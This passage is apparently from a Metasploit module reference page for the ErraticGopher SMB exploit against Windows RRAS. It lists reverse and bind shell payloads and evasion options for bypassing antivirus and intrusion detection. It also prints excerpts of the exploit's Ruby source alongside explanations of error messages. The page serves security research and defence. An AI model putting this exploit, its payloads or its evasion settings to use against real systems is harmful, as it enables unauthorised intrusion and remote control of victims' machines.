120 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
121 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
122 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
123 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
124 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
125 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
126 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
127 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
128 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
129 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
130 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
131 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
132 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
133 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
134 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
135 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
136 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
137 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
138 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
139 payload/windows/shell/reverse_udp normal No Windows Command Shell, Reverse UDP Stager with UUID Support
140 payload/windows/shell_bind_tcp normal No Windows Command Shell, Bind TCP Inline
141 payload/windows/shell_bind_tcp_xpfw normal No Windows Disable Windows ICF, Command Shell, Bind TCP Inline
142 payload/windows/shell_hidden_bind_tcp normal No Windows Command Shell, Hidden Bind TCP Inline
143 payload/windows/shell_reverse_tcp normal No Windows Command Shell, Reverse TCP Inline
144 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
145 payload/windows/upexec/bind_hidden_ipknock_tcp normal No Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
146 payload/windows/upexec/bind_hidden_tcp normal No Windows Upload/Execute, Hidden Bind TCP Stager
147 payload/windows/upexec/bind_ipv6_tcp normal No Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
148 payload/windows/upexec/bind_ipv6_tcp_uuid normal No Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
149 payload/windows/upexec/bind_named_pipe normal No Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
150 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
151 payload/windows/upexec/bind_tcp normal No Windows Upload/Execute, Bind TCP Stager (Windows x86)
152 payload/windows/upexec/bind_tcp_rc4 normal No Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
153 payload/windows/upexec/bind_tcp_uuid normal No Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
154 payload/windows/upexec/reverse_ipv6_tcp normal No Windows Upload/Execute, Reverse TCP Stager (IPv6)
155 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
156 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
157 payload/windows/upexec/reverse_tcp normal No Windows Upload/Execute, Reverse TCP Stager
158 payload/windows/upexec/reverse_tcp_allports normal No Windows Upload/Execute, Reverse All-Port TCP Stager
159 payload/windows/upexec/reverse_tcp_dns normal No Windows Upload/Execute, Reverse TCP Stager (DNS)
160 payload/windows/upexec/reverse_tcp_rc4 normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
161 payload/windows/upexec/reverse_tcp_rc4_dns normal No Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
162 payload/windows/upexec/reverse_tcp_uuid normal No Windows Upload/Execute, Reverse TCP Stager with UUID Support
163 payload/windows/upexec/reverse_udp normal No Windows Upload/Execute, Reverse UDP Stager with UUID Support
164 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
165 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
166 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
167 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
168 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
169 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
170 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
171 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
172 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
173 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
174 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
175 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
176 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
177 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
178 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
179 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
180 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
181 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
182 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
183 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
184 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
185 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/smb/smb_rras_erraticgopher exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/smb/smb_rras_erraticgopher) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
DCERPC::fake_bind_multi true no Use multi-context bind calls
DCERPC::fake_bind_multi_append 0 no Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend 0 no Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size 4096 yes Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio rw no Use a different delivery method for accessing named pipes (Accepted: rw, trans)
SMB::obscure_trans_pipe_level 0 yes Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level 0 yes Place extra padding between headers and data (level 0-3)
SMB::pad_file_level 0 yes Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion false yes Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size 1024 yes Maximum buffer size for pipe reads
SMB::pipe_read_min_size 1 yes Minimum buffer size for pipe reads
SMB::pipe_write_max_size 1024 yes Maximum buffer size for pipe writes
SMB::pipe_write_min_size 1 yes Minimum buffer size for pipe writes
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
- Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.
- SMB error: <E.MESSAGE>
- SMB error: <E.MESSAGE>
- RRAS enabled and accessible.
- Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.
- SMB error: <E.MESSAGE>
- Could not detect the language pack, defaulting to <LANG>
- Unable to automatically detect a target
- Invalid target
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.
Here is a relevant code snippet related to the "Connection reset during login. This most likely means a previous exploit attempt caused the service to crash." error message:
196: begin
197: connect(versions: [1])
198: smb_login
199: rescue Rex::Proto::SMB::Exceptions::LoginError => e
200: if e.message.include?('Connection reset')
201: return CheckCode::Unknown('Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
202: end
203:
204: return CheckCode::Safe("SMB error: #{e.message}")
205: end
206:
SMB error: <E.MESSAGE>
Here is a relevant code snippet related to the "SMB error: <E.MESSAGE>" error message:
199: rescue Rex::Proto::SMB::Exceptions::LoginError => e
200: if e.message.include?('Connection reset')
201: return CheckCode::Unknown('Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
202: end
203:
204: return CheckCode::Safe("SMB error: #{e.message}")
205: end
206:
207: handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
208:
209: begin
SMB error: <E.MESSAGE>
Here is a relevant code snippet related to the "SMB error: <E.MESSAGE>" error message:
207: handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
208:
209: begin
210: dcerpc_bind(handle)
211: rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
212: return CheckCode::Safe("SMB error: #{e.message}")
213: end
214:
215: CheckCode::Detected('RRAS enabled and accessible.')
216: end
217:
RRAS enabled and accessible.
Here is a relevant code snippet related to the "RRAS enabled and accessible." error message:
210: dcerpc_bind(handle)
211: rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
212: return CheckCode::Safe("SMB error: #{e.message}")
213: end
214:
215: CheckCode::Detected('RRAS enabled and accessible.')
216: end
217:
218: def exploit
219: begin
220: connect(versions: [1])
Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.
Here is a relevant code snippet related to the "Connection reset during login. This most likely means a previous exploit attempt caused the service to crash." error message:
219: begin
220: connect(versions: [1])
221: smb_login
222: rescue Rex::Proto::SMB::Exceptions::LoginError => e
223: if e.message.include?('Connection reset')
224: fail_with(Failure::UnexpectedReply, 'Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
225: end
226: raise e
227: end
228:
229: handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
SMB error: <E.MESSAGE>
Here is a relevant code snippet related to the "SMB error: <E.MESSAGE>" error message:
231: print_status("Binding to #{handle} ...")
232:
233: begin
234: dcerpc_bind(handle)
235: rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
236: fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
237: end
238:
239: print_status("Bound to #{handle} ...")
240:
241: my_target = target
Could not detect the language pack, defaulting to <LANG>
Here is a relevant code snippet related to the "Could not detect the language pack, defaulting to <LANG>" error message:
250: lang = fingerprint['lang']
251: print_status("Fingerprint: #{os}#{sp.blank? ? '' : " (#{sp})"} - Language: #{lang}")
252:
253: if lang == 'Unknown'
254: lang = 'English'
255: print_status("Could not detect the language pack, defaulting to #{lang}")
256: end
257:
258: my_target = targets.select { |t| t['os'] == os && t['sp'] == sp && t['lang'] == lang }.first
259:
260: unless my_target
Unable to automatically detect a target
Here is a relevant code snippet related to the "Unable to automatically detect a target" error message:
256: end
257:
258: my_target = targets.select { |t| t['os'] == os && t['sp'] == sp && t['lang'] == lang }.first
259:
260: unless my_target
261: fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
262: end
263: end
264:
265: print_status("Using target: #{my_target.name}")
266:
Invalid target
Here is a relevant code snippet related to the "Invalid target" error message:
272: when 'Windows Server 2003 SP2 (English) (NX)'
273: buf = payload_win2k3sp2
274: when 'Windows Server 2003 R2 SP2 (English) (NX)'
275: buf = payload_win2k3sp2 # same as SP2
276: else
277: fail_with(Failure::NoTarget, 'Invalid target')
278: end
279:
280: mib = NDR.long(8) # dwVarID (MIB_OPAQUE_QUERY) # IP_FORWARDROW
281: mib += "\x90" * 4 # rgdwVarIndex[0] dwForwardDest # junk IPv4 address
282: mib += NDR.long(0) # rgdwVarIndex[1] dwForwardMask # junk IPv4 net mask
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Related Pull Requests
References
- CVE-2017-8461
- CWE-119
- BID-99012
- EDB-41929
- PACKETSTORM-147593
- https://www.securitytracker.com/id/1038701
- https://github.com/x0rz/EQGRP_Lost_in_Translation/blob/master/windows/exploits/Erraticgopher-1.0.1.0.xml
- https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd
- https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa374540(v=vs.85)
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/ebc5c709-36d8-4520-a0ac-6f36d2d6c0b2
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/5dca234b-bea4-4e67-958e-5459a32a7b71
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/4305d67f-9273-49fe-a067-909b6ae8a341
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/3ca0723e-36ea-448a-a97e-1906dd3d07a6
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/dda988f0-4cce-4ffe-b8c9-d5199deafba5
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/169e435d-a975-4c1c-bf41-55fd2bd76125
See Also
Check also the following modules related to this module:
- exploit/windows/smb/smb_delivery
- exploit/windows/smb/smb_doublepulsar_rce
- exploit/windows/smb/smb_relay
- exploit/windows/smb/smb_shadow
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/windows/smb/generic_smb_dll_injection
- exploit/windows/smb/group_policy_startup
- exploit/windows/smb/ipass_pipe_exec
- exploit/windows/smb/ms03_049_netapi
- exploit/windows/smb/ms04_007_killbill
- exploit/windows/smb/ms04_011_lsass
- exploit/windows/smb/ms04_031_netdde
- exploit/windows/smb/ms05_039_pnp
- exploit/windows/smb/ms06_025_rasmans_reg
- exploit/windows/smb/ms06_025_rras
- exploit/windows/smb/ms06_040_netapi
- exploit/windows/smb/ms06_066_nwapi
- exploit/windows/smb/ms06_066_nwwks
- exploit/windows/smb/ms06_070_wkssvc
- exploit/windows/smb/ms07_029_msdns_zonename
- exploit/windows/smb/ms08_067_netapi
- exploit/windows/smb/ms09_050_smb2_negotiate_func_index
- exploit/windows/smb/ms10_046_shortcut_icon_dllloader
- exploit/windows/smb/ms10_061_spoolss
- exploit/windows/smb/ms15_020_shortcut_icon_dllloader
- exploit/windows/smb/ms17_010_eternalblue
- exploit/windows/smb/ms17_010_eternalblue_win8
- exploit/windows/smb/ms17_010_psexec
- exploit/windows/smb/netidentity_xtierrpcpipe
- exploit/windows/smb/psexec
- exploit/windows/smb/timbuktu_plughntcommand_bof
- exploit/windows/smb/webexec
- exploit/netware/smb/lsass_cifs
- exploit/windows/fileformat/vlc_smb_uri
- exploit/windows/local/cve_2020_0796_smbghost
Related Nessus plugins:
Authors
- Equation Group
- Shadow Brokers
- VÃctor Portal
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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